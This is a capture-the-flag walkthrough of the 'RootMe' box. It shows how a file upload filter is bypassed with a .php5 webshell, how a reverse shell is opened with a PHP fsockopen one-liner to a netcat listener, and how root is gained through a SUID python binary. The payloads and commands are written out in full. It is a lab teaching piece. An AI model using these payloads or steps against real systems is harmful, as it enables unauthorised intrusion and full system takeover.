RootMe is an easy Linux box where we’ll exploit the ability to upload an arbitrary file to get remote code execution. It’s a good box for practicing how to approach a file upload vulnerability when the developer has put some basic defenses in place that must be circumvented in order to achieve RCE.

Tools Used

  • rustscan
  • ffuf
  • Burp Suite
  • netcat


As always we will start by scanning the host for open ports:

rustscan -a -- -sC -sV -oA scans/nmap_initial

22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9irIQxn1jiKNjwLFTFBitstKOcP7gYt7HQsk6kyRQJjlkhHYuIaLTtt1adsWWUhAlMGl+97TsNK93DijTFrjzz4iv1Zwpt2hhSPQG0GibavCBf5GVPb6TitSskqpgGmFAcvyEFv6fLBS7jUzbG50PDgXHPNIn2WUoa2tLPSr23Di3QO9miVT3+TqdvMiphYaz0RUAD/QMLdXipATI5DydoXhtymG7Nb11sVmgZ00DPK+XJ7WB++ndNdzLW9525v4wzkr1vsfUo9rTMo6D6ZeUF8MngQQx5u4pA230IIXMXoRMaWoUgCB6GENFUhzNrUfryL02/EMt5pgfj8G7ojx5
|   256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49:73:d0:82 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBERAcu0+Tsp5KwMXdhMWEbPcF5JrZzhDTVERXqFstm7WA/5+6JiNmLNSPrqTuMb2ZpJvtL9MPhhCEDu6KZ7q6rI=
|   256 22:f6:b5:a6:54:d9:78:7c:26:03:5a:95:f3:f9:df:cd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC4fnU3h1O9PseKBbB/6m5x8Bo3cwSPmnfmcWQAVN93J
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: HackIT - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Let’s start our enumeration by looking at the web service running on port 80.

It’s just a basic teaser page without any real content, and nothing noteworthy in the source.

Default page on port 80

With not much else to go on here, let’s break out ffuf and scan for content. The nmap results suggest PHP may be enabled on Apache, so we can use the -e flag to scan for files with a .php extension as well as directories.

ffuf -e .php -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

index.php               [Status: 200, Size: 616, Words: 115, Lines: 26]
uploads                 [Status: 301, Size: 316, Words: 20, Lines: 10]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10]
panel                   [Status: 301, Size: 314, Words: 20, Lines: 10]

We might be on to something! It looks like we can upload files to the server from the /panel page.

Panel page

Let’s poke at this and get a better understanding of how the app handles uploads.

Will it let us upload any kind of file? Is it filtering by file extensions? By magic bytes? By file size?

Let’s start with a plain text file first.

  1. echo "testing" > test.txt
  2. Upload the file
  3. Check if it was written to the /uploads directory
└─$ curl -i
HTTP/1.1 200 OK
Date: Tue, 27 Apr 2021 23:34:39 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Tue, 27 Apr 2021 23:34:03 GMT
ETag: "8-5c0fcb292f3e0"
Accept-Ranges: bytes
Content-Length: 8
Content-Type: text/plain


That confirms we can upload arbitrary files. What we really want is to get remote code execution somehow, so let’s try uploading a basic PHP webshell next.

echo '<?php echo system($_GET["cmd"]); ?>' > shell.php to create the file locally.

PHP files are blocked

That did not work.. apparently .php files are not allowed. That doesn’t necessarily mean we can’t upload PHP code, though. .php is the most common extension for PHP files but .php3, .php5, and .phtml are also worth checking. Not every web server will have them enabled, but let’s test anyway.

Let’s open up Burp Suite to intercept the upload request using the same file again and send it to Repeater. From there we can easily modify the filename to iterate through the different extensions, starting with .php3.

Burp suite

That worked! But wait a minute…

└─$ curl -i
HTTP/1.1 200 OK
Date: Tue, 27 Apr 2021 23:55:14 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Tue, 27 Apr 2021 23:52:16 GMT
ETag: "24-5c0fcf3b1baa0"
Accept-Ranges: bytes
Content-Length: 36

<?php echo system($_GET["cmd"]); ?>

While the app is not filtering uploads of .php3 files, the server is also not configured to execute them as PHP so this doesn’t help us.

If we repeat the process and this time change the extension to .php5, we’re able to bypass the content filter and we have code execution!

└─$ curl -i
HTTP/1.1 200 OK
Date: Tue, 27 Apr 2021 23:57:10 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 17
Content-Type: text/html; charset=UTF-8



Now that we have RCE, let’s go for a shell!

First open up a netcat listener in a terminal to catch the reverse shell.

nc -nlvp 4444

Then we can use a PHP one-liner to send a shell:

php -r '$sock=fsockopen("",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

Reverse shell connection

Sweet! Now that we’re in the box we can search for the user flag.

There are 2 users with home directories in /home, but neither contain the flag. A simple search will point us in the right direction.

bash-4.4$ find / -name 'user.txt' 2>/dev/null
bash-4.4$ wc -c /var/www/user.txt
21 /var/www/user.txt

Privilege Escalation

We could try to escalate to one of the other users to get to root, but let’s quickly check for SUID binaries first.

find / -user root -type f -perm /4000 2>/dev/null

We get a lot of results back, but one obviously shouldn’t be there… python!

bash-4.4$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
# wc -c /root/root.txt
26 /root/root.txt

We are technically still the www-data user, but because the python executable is owned by root and has the SUID bit set, the process runs with UID 0, giving us an effective root shell.